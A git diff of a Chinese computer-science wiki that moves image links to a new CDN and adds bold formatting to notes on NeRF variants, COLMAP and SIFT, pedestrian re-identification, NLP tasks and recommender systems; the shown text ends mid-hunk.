+**Pixel-nerf**** **对输入图像使用卷积进行特征提取再执行 nerf,若有多个输入,对每个视角都执行 CNN,在计算光线时,取每一个已有视角下该坐标的特征,经过 mlp 后算平均。可以在少量视角下重建视图,需要进行预训练才能使用,有一定自动补全能力(有限) -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnEiUODOd4FOBxYIZmmihyef.png) +![](https://cdn.xyxsw.site/boxcnEiUODOd4FOBxYIZmmihyef.png) ### 2.IBRnet -IBRnet 是 pixel-nerf 的改进版,取消了 CNN,并且在 mlp 后接入了 transformer 结构处理体密度(不透明度),对这条光线上所有的采样点进行一个 transformer。同时,在获取某个体素的颜色和密度时,作者用了本视角相邻的两个视角,获取对应体素在这两张图片中的像素,以图片像素颜色,视角,图片特征作为 mlp 的输入。 +**IBRnet**** **是 pixel-nerf 的改进版,取消了 CNN,并且在 mlp 后接入了 transformer 结构处理体密度(不透明度),对这条光线上所有的采样点进行一个 transformer。同时,在获取某个体素的颜色和密度时,作者用了本视角相邻的两个视角,获取对应体素在这两张图片中的像素,以图片像素颜色,视角,图片特征作为 mlp 的输入。 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnwH75jIO9NiVwQaBqDrbe8e.png) +![](https://cdn.xyxsw.site/boxcnwH75jIO9NiVwQaBqDrbe8e.png) ### 3.MVSnerf -MVSnerf 它用 MVS 的方法构建代价体然后在后面接了一个 nerf,MVS 是使用多视角立体匹配构建一个代价体,用 3D 卷积网络进行优化,这里对代价体进行 nerf 采样,可以得到可泛化网络。它需要 15min 的微调才能在新数据上使用。多视角立体匹配是一种传统算法,通过光线,几何等信息计算图像中小块的相似度,得出两个相机视角之间的位置关系。这个算法也被广泛使用在得到我们自己采样的数据的相机变换矩阵上(我就是这么干的) +**MVSnerf**** **它用 MVS 的方法构建代价体然后在后面接了一个 nerf,MVS 是使用**多视角立体匹配**构建一个代价体,用 3D 卷积网络进行优化,这里对代价体进行 nerf 采样,可以得到可泛化网络。它需要 15min 的微调才能在新数据上使用。**多视角立体匹配是一种传统算法,通过光线,几何等信息计算图像中小块的相似度,得出两个相机视角之间的位置关系。这个算法也被广泛使用在得到我们自己采样的数据的相机变换矩阵上(我就是这么干的)** -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnbd2YxumunZR9LZG3ANrPrb.png) +![](https://cdn.xyxsw.site/boxcnbd2YxumunZR9LZG3ANrPrb.png) 此处涉及较多图形学,使用了平面扫描算法,其中有单应性变换这个角度变换算法,推导与讲解如下: @@ -34,7 +34,7 @@ 平面扫描就是把 A 视角中的某一像素点(如图中红色区域)的相邻的几个像素提取出来,用单应性变换转换到 B 视角中,这时候用的深度是假设的深度,遍历所有假设的深度,计算通过每一个假设深度经过单应性变换得到的像素小块和 B 视角中对应位置的差值(loss),取最小的 loss 处的深度作为该像素的深度。 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcn5JmWUh1Gu283biqHq3Op0r.png) +![](https://cdn.xyxsw.site/boxcn5JmWUh1Gu283biqHq3Op0r.png) 构建代价体: @@ -45,37 +45,37 @@ ## 2)可以 zero-shot 或者 fine-tune 类 -MVSnerf,上面已经说了。 +**MVSnerf****,上面已经说了。** # 2.速度提升 ### 1.instan-ngp -使用了哈希表结构的instant-ngp,渲染完美只需要几分钟(采样正常的情况下)这块的速度已经到极致了。 +使用了**哈希表**结构的**instant-ngp**,渲染完美只需要几分钟(采样正常的情况下)这块的速度已经到极致了。 展开说说:其实这也是神经网络发展的一个方向,以前的深层网络倾向于把所有东西用网络参数表示,这样推理速度就会慢,这里使用哈希表的快速查找能力存储一些数据信息,instant-ngp 就是把要表达的模型数据特征按照不同的精细度存在哈希表中,使用时通过哈希表调用或插值调用。 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnXSUge0BqBCecdDJLQr4cRc.png) +![](https://cdn.xyxsw.site/boxcnXSUge0BqBCecdDJLQr4cRc.png) # 3.可编辑(指比如人体运动等做修改工作的) ### 1.Human-nerf -Human-nerf 生成可编辑的人体运动视频建模,输入是一段人随便动动的视频。输出的动作可以编辑修改,并且对衣物折叠等有一定优化。使用的模型并非全隐式的,并且对头发和衣物单独使用变换模型。使用了逆线性蒙皮模型提取人物骨骼(可学习的模型),上面那个蓝色的就是姿态矫正模块,这个模块赋予骨骼之间运动关系的权重(因为使用的是插值处理同一运动时不同骨骼的平移旋转矩阵,一块骨骼动会牵动其他骨骼)图中的 Ω 就是权重的集合,它通过 mlp 学习得到。然后得到显式表达的人物骨骼以及传入视频中得到的对应骨骼的 mesh,skeletal motion 就是做游戏人物动作用的编辑器这种,后面残差链接了一个 non-rigid-motion(非刚性动作),这个是专门处理衣物和毛发的,主要通过学习得到,然后粗暴的加起来就能得到模型,再经过传统的 nerf 渲染出图像。 +**Human-nerf**** **生成可编辑的人体运动视频建模,输入是一段人随便动动的视频。输出的动作可以编辑修改,并且对衣物折叠等有一定优化。使用的模型并非全隐式的,并且对头发和衣物单独使用变换模型。使用了逆线性蒙皮模型提取人物骨骼(可学习的模型),上面那个蓝色的就是姿态矫正模块,这个模块赋予骨骼之间运动关系的权重(因为使用的是插值处理同一运动时不同骨骼的平移旋转矩阵,一块骨骼动会牵动其他骨骼)图中的 Ω 就是权重的集合,它通过 mlp 学习得到。然后得到显式表达的人物骨骼以及传入视频中得到的对应骨骼的 mesh,skeletal motion 就是做游戏人物动作用的编辑器这种,后面残差链接了一个 non-rigid-motion(非刚性动作),这个是专门处理衣物和毛发的,主要通过学习得到,然后粗暴的加起来就能得到模型,再经过传统的 nerf 渲染出图像。 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnHRnNXHvwVXrRmM8wnl53p9.png) +![](https://cdn.xyxsw.site/boxcnHRnNXHvwVXrRmM8wnl53p9.png) ### 2.Neural Body -Neural Body 通过下面这种单视角视频或稀疏视角照片来生成人体建模。 +**Neural Body** 通过下面这种**单视角视频**或稀**疏视角照片**来生成人体建模。 -因为生成的是人体建模,作者使用了他们以前的工作 EasyMocap 得到SMPL 模型(就是人体的结构)然后在 SMPL 表面生成一些 latent code(包含颜色,不透明度和位置),也就是下左中的那些点。 +因为生成的是人体建模,作者使用了他们以前的工作 EasyMocap 得到**SMPL 模型(就是人体的结构)然后在 SMPL 表面生成一些 latent code(包含颜色,不透明度和位置),也就是下左中的那些点。** [EasyMocap 的代码](https://link.zhihu.com/?target=https%3A//github.com/zju3dv/EasyMocap) EasyMocap 是通过多视角视频生成骨架以及 SMPL 模型的一个工作,演示视频右下。 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnYmy1MnyWSPNEWvFWj9mzCf.png) +![](https://cdn.xyxsw.site/boxcnYmy1MnyWSPNEWvFWj9mzCf.png) 这是 EasyMocap 的演示。 @@ -85,27 +85,27 @@ EasyMocap 是通过多视角视频生成骨架以及 SMPL 模型的一个工作 个人感觉这个模型不能很好处理光影效果,还有待改进。 -是个预训练模型,训练的模块就是这个 3D 卷积神经网络。 +是个预训练模型,**训练的模块就是这个 3D 卷积神经网络**。 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnbclBwg3BsubGOrt8vZf0qb.png) +![](https://cdn.xyxsw.site/boxcnbclBwg3BsubGOrt8vZf0qb.png) ### 3.wild-nerf -wild-nerf 思路很简单,就是加入了新的输入参数来调整白天黑夜等等一些简单的变化,并且把行人车辆之类的在采样过程中不固定的物品作为随机项,在渲染时按照概率加入。 +**wild-nerf** 思路很简单,就是加入了新的输入参数来调整白天黑夜等等一些简单的变化,并且把行人车辆之类的在采样过程中**不固定的物品**作为**随机项**,在渲染时按照概率加入。 ### 4.D-nerf -D-nerf 是一种动态编辑的 nerf,输入为:x,y,z,相机位置,相机角度,时间 t。 +**D-nerf** 是一种动态编辑的 nerf,输入为:x,y,z,相机位置,相机角度,**时间 t。** -把整个网络分为两块,一块是正常的 nerf 渲染,另一块是下面这个,输入时间与现在的位置坐标,输出这个位置坐标中的物体现在的位置与 t=0 时的位置的差。再用 t=0 时物体的点信息进行渲染。 +把整个网络分为两块,一块是正常的 nerf 渲染,另一块是下面这个,输入时间与现在的位置坐标,输出**这个位置坐标中的物体现在的位置**与 t=0 时的**位置的差**。再用 t=0 时物体的点信息进行渲染。 在此网络的单个输出上貌似是不监督的,因为没办法进行人为标注。这点我不是很确定,以后如果发现了会来修改的。 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnYeaiioqtFzQlztsTwiEpzg.png) +![](https://cdn.xyxsw.site/boxcnYeaiioqtFzQlztsTwiEpzg.png) -渲染经过形变的物体时,光线其实是在 t=0 时刻进行渲染的,因为推土机的铲子放下去了,所以光线是弯曲的。 +渲染经过形变的物体时,光线其实是在 t=0 时刻进行渲染的,因为推土机的铲子放下去了,所以**光线是弯曲的**。 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcng7xDooDmmpbCJRyLJBucwe.png) +![](https://cdn.xyxsw.site/boxcng7xDooDmmpbCJRyLJBucwe.png) # 4.用于辅助传统图像处理 @@ -115,31 +115,31 @@ EasyMocap 是通过多视角视频生成骨架以及 SMPL 模型的一个工作 ### 1.clip-nerf -clip-nerf 太贵了玩不起,没仔细研究,应该是文本跟 3D 建模关联,跟 clip 一样。 +**clip-nerf**** 太贵了玩不起,没仔细研究,应该是文本跟 3D 建模关联,跟 clip 一样。** # 6.生成类(指加入新物体或者额外生成新场景) ### 1.GRAF -GRAF 把 GAN 与 nerf 结合,增加了两个输入,分别是外观/形状编码 z2D 采样编码 v,z 用来改变渲染出来东西的特征,比如把生成的车变色或者变牌子,suv 变老爷车之类的。v(s,u)用来改变下图 2 中训练时选择光线的标准。这里训练时不是拿 G 生成的整张图扔进 D 网络,而是根据 v 的参数选择一些光线组成的 batch 扔进 D 进行辨别 +**GRAF**** **把 GAN 与 nerf 结合,增加了两个输入,分别是**外观/形状编码 z**和**2D 采样编码 v**,z 用来改变渲染出来东西的特征,比如把生成的车变色或者变牌子,suv 变老爷车之类的。v(s,u)用来改变下图 2 中训练时选择光线的标准。这里训练时不是拿 G 生成的整张图扔进 D 网络,而是根据 v 的参数选择一些光线组成的 batch 扔进 D 进行辨别 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnVyFqHIoA2MGGc4JJo9tObh.png) +![](https://cdn.xyxsw.site/boxcnVyFqHIoA2MGGc4JJo9tObh.png) -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnvBzqwCn9i8GGBIkMFEs3ne.png) +![](https://cdn.xyxsw.site/boxcnvBzqwCn9i8GGBIkMFEs3ne.png) ### 2.GIRAFFE -GIRAFFE 是 GRAF 的改进工作,可以把图片中的物品,背景一个个解耦出来单独进行改变或者移动和旋转,也可以增加新的物品或者减少物品,下图中蓝色是不可训练的模块,橙色可训练。以我的理解好像要设置你要解耦多少个(N)物品再训练,网络根据类似 k 近邻法的方法在特征空间上对物品进行分割解耦,然后分为 N 个渲染 mlp 进行训练,训练前加入外观/形状编码 z。最后还是要扔进 D 训练。 +**GIRAFFE** 是 GRAF 的改进工作,可以把图片中的物品,背景一个个解耦出来单独进行改变或者移动和旋转,也可以增加新的物品或者减少物品,下图中蓝色是不可训练的模块,橙色可训练。以我的理解好像要设置你要解耦多少个(N)物品再训练,网络根据类似 k 近邻法的方法在特征空间上对物品进行分割解耦,然后分为 N 个渲染 mlp 进行训练,训练前加入外观/形状编码 z。最后还是要扔进 D 训练。 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnB04hwHA1o64WBvYSyVTDod.png) +![](https://cdn.xyxsw.site/boxcnB04hwHA1o64WBvYSyVTDod.png) -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnC2bKVHOANjGOePLHk7jfZe.png) +![](https://cdn.xyxsw.site/boxcnC2bKVHOANjGOePLHk7jfZe.png) ### 3.OSF -OSFObject-Centric Neural Scene Rendering,可以给移动的物体生成合理的阴影和光照效果。加入了新的坐标信息:光源位置,与相机坐标等一起输入。对每个小物件构建一个单独的小 nerf,计算这个小 nerf 的体素时要先经过光源照射处理(训练出来的)然后在每个小物件之间也要计算反射这样的光线影响,最后进行正常的渲染。这篇文章没人写 review,有点冷门,这些都是我自己读完感觉的,不一定对。 +**OSF**Object-Centric Neural Scene Rendering,可以给移动的物体生成合理的阴影和光照效果。加入了新的坐标信息:光源位置,与相机坐标等一起输入。对每个小物件构建一个单独的小 nerf,计算这个小 nerf 的体素时要先经过光源照射处理(训练出来的)然后在每个小物件之间也要计算反射这样的光线影响,最后进行正常的渲染。这篇文章没人写 review,有点冷门,这些都是我自己读完感觉的,不一定对。 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnV7YcKIq5y8TkOGEGzrPc5g.png) +![](https://cdn.xyxsw.site/boxcnV7YcKIq5y8TkOGEGzrPc5g.png) ### 4.Hyper-nerf-gan @@ -147,13 +147,13 @@ EasyMocap 是通过多视角视频生成骨架以及 SMPL 模型的一个工作 作者用了几个我比较陌生的技术,比如超网络 hypernet,还有超网络与 gan 结合的 INR-Gan。 -hypernet:把随机初始化和直接梯度回传更新的网络参数用另一个神经网络来更新,就是我们要同时训练两个网络,一个是本体,一个是调整参数用的超网络。 +**hypernet**:把随机初始化和直接梯度回传更新的网络参数用另一个神经网络来更新,就是我们要同时训练两个网络,一个是本体,一个是调整参数用的超网络。 -INR-Gan:把超网络技术与 Gan 结合,并且用了 INR 技术,这个技术类似 nerf,不过是处理图片用到的,是构建一个坐标(x,y)->RGB 的网络,可以让图片达到更高分辨率,也就是把离散的像素变成连续的。 +**INR-Gan**:把超网络技术与 Gan 结合,并且用了 INR 技术,这个技术类似 nerf,不过是处理图片用到的,是构建一个坐标(x,y)->RGB 的网络,可以让图片达到更高分辨率,也就是把离散的像素变成连续的。 左边是常规卷积网络生成图像,右边是用 INR 生成图像。 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnGCCZ8qXD1Hhc531NxfLzLd.png) +![](https://cdn.xyxsw.site/boxcnGCCZ8qXD1Hhc531NxfLzLd.png) 这种方法存在两个问题: @@ -161,12 +161,12 @@ EasyMocap 是通过多视角视频生成骨架以及 SMPL 模型的一个工作 2.因为使用神经网路去表示图片,占用内存更大。 -因此,作者设计了FMM去应对这两个问题,这也是 Hyper-nerf-gan 借鉴的主要部分。 +因此,作者设计了**FMM**去应对这两个问题,这也是 Hyper-nerf-gan 借鉴的主要部分。 FMM 主要是把要学习的矩阵转化为两个低秩矩阵,去先生成他们俩再相乘,减少网络计算量。 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcn0oHY54dgL2bxmryxjqxC6f.png) +![](https://cdn.xyxsw.site/boxcn0oHY54dgL2bxmryxjqxC6f.png) -现在开始讲 Hyper-nerf-gan 本身,它看上去其实就是 nerf 接在 gan 上。不过有一些变化,比如输入不再包含视角信息,我很怀疑它不能很好表达反光效果。而且抛弃了粗网络细网络的设计,只使用粗网络减少计算量。这里的 generator 完全就是 INR-Gan 的形状,生成权重,然后再经过 nerf 的 mlp 层生成,没啥别的了,就这样吧。 +现在开始讲 Hyper-nerf-gan 本身,它看上去其实就是 nerf 接在 gan 上。不过有一些变化,比如输入不再包含视角信息,我**很怀疑它不能很好表达反光效果**。而且抛弃了粗网络细网络的设计,只使用粗网络减少计算量。这里的 generator 完全就是 INR-Gan 的形状,生成权重,然后再经过 nerf 的 mlp 层生成,没啥别的了,就这样吧。 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnc9bZ1nqt3Lighlrj9zSrdd.png) +![](https://cdn.xyxsw.site/boxcnc9bZ1nqt3Lighlrj9zSrdd.png) diff --git a/4.人工智能/4.6.5.4.3自制数据集的工具COLMAP.md b/4.人工智能/4.6.5.4.3自制数据集的工具COLMAP.md index 029b38a..efad9a8 100644 --- a/4.人工智能/4.6.5.4.3自制数据集的工具COLMAP.md +++ b/4.人工智能/4.6.5.4.3自制数据集的工具COLMAP.md @@ -2,62 +2,62 @@ 如何使用和怎么下载就不讲了,直接搜就有,它可以把多个拍摄同一物体的图片转换为它们对应视角的相机矩阵和拍摄角度,可以实现自制数据集做 nerf。它的流程(SFM 算法)可以概括如下: -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnXzgaIhmUQ7HQtEn52ksWIf.png) +![](https://cdn.xyxsw.site/boxcnXzgaIhmUQ7HQtEn52ksWIf.png) 这里主要是记录一下它的原理: -首先是一个经典关键点匹配技术:SIFT +首先是一个经典关键点匹配技术:**SIFT** # SIFT 特征点匹配 ## DOG 金字塔 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcneERqw4amGHf6f2SX7gcdny.png) +![](https://cdn.xyxsw.site/boxcneERqw4amGHf6f2SX7gcdny.png) -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnv4dRbGDg9eemcyQFREYs0b.png) +![](https://cdn.xyxsw.site/boxcnv4dRbGDg9eemcyQFREYs0b.png) 下面是原理方法: -首先是高斯金字塔,它是把原图先放大两倍,然后使用高斯滤波(高斯卷积)对图像进行模糊化数次,取出倒数第三层缩小一半继续进行这个过程,也就是说它是由一组一组的小金字塔组成的。 +首先是**高斯金字塔**,它是把原图先放大两倍,然后使用高斯滤波(高斯卷积)对图像进行模糊化数次,取出倒数第三层缩小一半继续进行这个过程,也就是说它是由一组一组的小金字塔组成的。 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnKJWrCUc5cPOuZg01HqNCsc.png) +![](https://cdn.xyxsw.site/boxcnKJWrCUc5cPOuZg01HqNCsc.png) -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnd25i5LQ7WjGJEe2xgU3qce.jpg) +![](https://cdn.xyxsw.site/boxcnd25i5LQ7WjGJEe2xgU3qce.jpg) 然后是基于高斯金字塔的 DOG 金字塔,也叫差分金字塔,它是把相邻的高斯金字塔层做减法得到的,因为经过高斯模糊,物体的轮廓(或者说不变特征)被模糊化,也就是被改变。通过相减可以得到这些被改变的点。 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcncKZlnG7F4oEpcrQYqth8kh.jpg) +![](https://cdn.xyxsw.site/boxcncKZlnG7F4oEpcrQYqth8kh.jpg) -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnAEQSDhsLdDsNOQVxqcic5d.jpg) +![](https://cdn.xyxsw.site/boxcnAEQSDhsLdDsNOQVxqcic5d.jpg) ## 空间极值点检测 为了找到变化的最大的几个点来作为特征点,我们需要找到变化的极值点,因此需要进行比较,这里是在整个金字塔中进行对比,我们提取某个点周边 3*3*3 的像素点进行比较,找到最大或最小的局部极值点。 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnl48ovxbqSeTljgF3rp16ue.png) +![](https://cdn.xyxsw.site/boxcnl48ovxbqSeTljgF3rp16ue.png) 同时我们也对关键点分配方向,也就是这个点在图片空间中的梯度方向 梯度为: -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnbQx8TntyX8iETPixOnKjef.png) +![](https://cdn.xyxsw.site/boxcnbQx8TntyX8iETPixOnKjef.png) 梯度方向为: -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnfw5FrBxPaD4bNFT4GFyXmd.png) +![](https://cdn.xyxsw.site/boxcnfw5FrBxPaD4bNFT4GFyXmd.png) 我们计算以关键点为中心的邻域内所有点的梯度方向,然后把这些 360 度范围内的方向分配到 36 个每个 10 度的方向中,并构建方向直方图,这里的示例使用了 8 个方向,几个随你其实: -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnyuV5HCumJMhyW7Cb3HSxcg.jpg) +![](https://cdn.xyxsw.site/boxcnyuV5HCumJMhyW7Cb3HSxcg.jpg) 取其中最大的为主方向,若有一个方向超过主方向的 80%,那么把它作为辅方向。 操作可以优化为下图,先把关键点周围的像素分成 4 块,每块求一次上面的操作,以这个 4 个梯度直方图作为关键点的方向描述。也就是一个 2*2*8(方向数量)的矩阵作为这个点的方向特征。 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnEvWRhUKcWKAoYKWbN1kAuc.png) +![](https://cdn.xyxsw.site/boxcnEvWRhUKcWKAoYKWbN1kAuc.png) 实验表明,使用 4*4*8=122 的描述更加可靠。 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcniVb6FvrZziID1B1JFmgVzx.jpg) +![](https://cdn.xyxsw.site/boxcniVb6FvrZziID1B1JFmgVzx.jpg) 特征点的匹配是通过计算两组特征点的 128 维的关键点的欧式距离实现的。欧式距离越小,则相似度越高,当欧式距离小于设定的阈值时,可以判定为匹配成功。 diff --git a/4.人工智能/4.6.5.5行人重识别(ReID).md b/4.人工智能/4.6.5.5行人重识别(ReID).md index c3f0e87..219682d 100644 --- a/4.人工智能/4.6.5.5行人重识别(ReID).md +++ b/4.人工智能/4.6.5.5行人重识别(ReID).md @@ -8,10 +8,10 @@ 该任务目前在学术上是检索出不同摄像头下的相同行人图片,同时数据集中只有人的全身照,如下图所示。 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/ReID1.png) +![](https://cdn.xyxsw.site/ReID1.png) 但是实际上在实际应用中的时候会和检测结合,简单来说先框出目标后分类,如下图所示。 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/ReID2.png) +![](https://cdn.xyxsw.site/ReID2.png) 这个方向做的比较的奇怪,该模块只做整体性介绍,同时希望学习该模块的你对经典网络有所了解。 diff --git a/4.人工智能/4.6.6.1NLP领域任务(研究目标).md b/4.人工智能/4.6.6.1NLP领域任务(研究目标).md index e729a12..93af65a 100644 --- a/4.人工智能/4.6.6.1NLP领域任务(研究目标).md +++ b/4.人工智能/4.6.6.1NLP领域任务(研究目标).md @@ -2,27 +2,27 @@ 下面给出了 NLP 的四大常见的应用。由于预训练的模型是在连续的文本序列上训练的,所以需要进行一些修改才能将其应用于不同的这些 NLP 任务。 -分类 (text classification): 给一句话或者一段文本,判断一个标签。 +**分类 (text classification):** 给一句话或者一段文本,判断一个标签。 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/PxE3b05ApofzZ1x8u49cirdUnye.png) +![](https://cdn.xyxsw.site/PxE3b05ApofzZ1x8u49cirdUnye.png) 图 2:分类 (text classification) -蕴含 (textual entailment): 给一段话,和一个假设,看看前面这段话有没有蕴含后面的假设。 +**蕴含 (textual entailment):** 给一段话,和一个假设,看看前面这段话有没有蕴含后面的假设。 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/OuhabfzABoqxQxxS1n1cPLTinKb.png) +![](https://cdn.xyxsw.site/OuhabfzABoqxQxxS1n1cPLTinKb.png) 图 3:蕴含 (textual entailment) -相似 (Similarity): 判断两段文字是否相似。 +**相似 (Similarity):** 判断两段文字是否相似。 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/ByeFbxTfToxFlgxh6xmcIKeRnzd.png) +![](https://cdn.xyxsw.site/ByeFbxTfToxFlgxh6xmcIKeRnzd.png) 图 4:相似 (Similarity) -多选题 (Multiple Choice): 给个问题,从 N 个答案中选出正确答案。 +**多选题 (Multiple Choice):** 给个问题,从 N 个答案中选出正确答案。 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/ZYgybsj5dol1Ifx96Koc6SRpnmc.jpeg) +![](https://cdn.xyxsw.site/ZYgybsj5dol1Ifx96Koc6SRpnmc.jpeg) 图 5:多选题 (Multiple Choice) diff --git a/4.人工智能/4.6.6.2.2.2推荐系统概念解释 and 一个好的推荐系统.md b/4.人工智能/4.6.6.2.2.2推荐系统概念解释 and 一个好的推荐系统.md index d9ce1f9..578951d 100644 --- a/4.人工智能/4.6.6.2.2.2推荐系统概念解释 and 一个好的推荐系统.md +++ b/4.人工智能/4.6.6.2.2.2推荐系统概念解释 and 一个好的推荐系统.md @@ -1,13 +1,13 @@ # 推荐系统概念解释 and 一个好的推荐系统 -- 用户满意度 +- **用户满意度** - 用户满意度是推荐系统测评的重要指标,但是实际上,用户满意度数据获得的方式十分有限,因为这是一种用户的主观情感。 - 设计合适的方式对于用户的满意度进行回收分析,是改进推荐系统的一个很好的方式。这样的的方式包括但不限于,设计合适的调查问卷,在物品的购买结束后附上一份满意度调查。 - 满意度在一些程度上可以细分为更加具体的信息。例如点击率,用户停留时间,转化率,完播率,或者是哔站视频点赞,三连的比例。 -- 预测准确度 +- **预测准确度** - - 召回率(Recall) + - **召回率(Recall)** $$ Recall =\frac{\sum_{u\in U}{\vert R(u)\cap T(u) \vert}}{\sum_{u\in U \vert T(u)\vert}} @@ -19,7 +19,7 @@ - 召回率的意义?可以参考机器学习中留下的定义进行理解 -- 精确率 +- **精确率** $$ Precision =\frac{\sum_{u\in U}{\vert R(u)\cap T(u)\vert}}{\sum_{u\in U}{\vert R(u) \vert}} @@ -31,7 +31,7 @@ - 精确率的意义? -- 覆盖率 +- **覆盖率** - 描述了一个系统对于物品长尾的发掘能力。 - 覆盖率的一个定义可以是: @@ -42,7 +42,7 @@ - 覆盖率的意义:覆盖率越高,以为这系统中被推荐给用户的物品,占所有物品的比例越大,对于一个好的推荐系统,不仅需要有较高的用户满意度,还需要有较高的覆盖率。 - 当然对于覆盖率的定义,不止以上的这一种,甚至说,在实际使用上,上述简单的覆盖率不足以支撑大规模复杂系统的覆盖率计算,所以如何对于覆盖率进行修正和更新?信息熵与基尼系数! - 推荐了解,马太效应,一个强者更强,弱者更弱的效应,在推荐系统中也同样存在。 -- 多样性 +- **多样性** - 假设,$s(i,j)$ 定义了物品 i 和 j 之间的相似度,给用户 $u$ 的推荐列表 $R(u)$的多样性定义: $$ @@ -52,12 +52,12 @@ $$ Diversity = \frac{1}{\vert U\vert}\sum_{u\in U}{Diversity(R(u))} $$ -- 信任度 +- **信任度** - 用户对于该系统的信任程度 -- 实时性 +- **实时性** - 系统对于数据更新的时效性 -- 健壮性 +- **健壮性** - 系统对于外来攻击的防护性 diff --git a/4.人工智能/4.6.6.2.2.3推荐系统实例.md b/4.人工智能/4.6.6.2.2.3推荐系统实例.md index c2fd453..3855193 100644 --- a/4.人工智能/4.6.6.2.2.3推荐系统实例.md +++ b/4.人工智能/4.6.6.2.2.3推荐系统实例.md @@ -1,6 +1,6 @@ # 推荐系统的外围架构 -![推荐系统外围架构图](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/推荐系统外围架构图.png) +![推荐系统外围架构图](https://cdn.xyxsw.site/推荐系统外围架构图.png)
推荐系统外围架构图
@@ -22,7 +22,7 @@ 若是将推荐系统的任务细分,可以结合现实实际情况:将最新加入的物品推荐给用户;商业上需要宣传的物品推荐给用户;为用户推荐不同种类的物品。 **复杂的特征和情况不同的任务**会让推荐系统变得非常复杂,所以推荐系统的架构为了方便考虑,采用多个不同的推荐引擎组成,每个推荐引擎专门负责某一类特征和一种任务,而推荐系统再将推荐引擎的结果按照一定的优先级合并,排序并返回给UI系统。 -![推荐系统的架构图](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/推荐系统的架构图.png) +![推荐系统的架构图](https://cdn.xyxsw.site/推荐系统的架构图.png)
推荐系统的架构
如上图所示。 @@ -38,7 +38,7 @@ - 推荐列表筛选、过滤、重排列部分 -![推荐引擎的架构](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/推荐引擎的架构.png) +![推荐引擎的架构](https://cdn.xyxsw.site/推荐引擎的架构.png) 以上为推荐引擎的架构图。 diff --git a/4.人工智能/4.6.6.2.2.4利用用户行为数据.md b/4.人工智能/4.6.6.2.2.4利用用户行为数据.md index d49ef7d..1d92a3e 100644 --- a/4.人工智能/4.6.6.2.2.4利用用户行为数据.md +++ b/4.人工智能/4.6.6.2.2.4利用用户行为数据.md @@ -179,7 +179,7 @@ $$Preference(u,i)=r_{ui}=p^T_uq_i=\sum^F_{f=1}{p_{u,k}q_{i,k}}$$ 在研究图模型之前,需要用已有的数据生成一个图,设二元组 $(u,i)$ 表示用u对于物品 i 产生过行为。令 $G(V,E)$ 表示用户物品二分图,其中$V=V_U\cup V_I$ 由用户顶点集合和物品顶点集合组成,$E$ 是边的集合。对于数据集中的二元组 $(u,i)$ 图中都会有对应的边 $e(v_u,v_i)\in E$ 如下图所示。 -![用户物品二分图模型](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/用户物品二分图模型.png) +![用户物品二分图模型](https://cdn.xyxsw.site/用户物品二分图模型.png) ### 基于图的推荐算法 diff --git a/4.人工智能/4.6.6.2.2.7利用上下文信息.md b/4.人工智能/4.6.6.2.2.7利用上下文信息.md index 02f769d..1201571 100644 --- a/4.人工智能/4.6.6.2.2.7利用上下文信息.md +++ b/4.人工智能/4.6.6.2.2.7利用上下文信息.md @@ -12,12 +12,12 @@ - 时间信息对于用户的的影响可以主要分为以下几项: - - 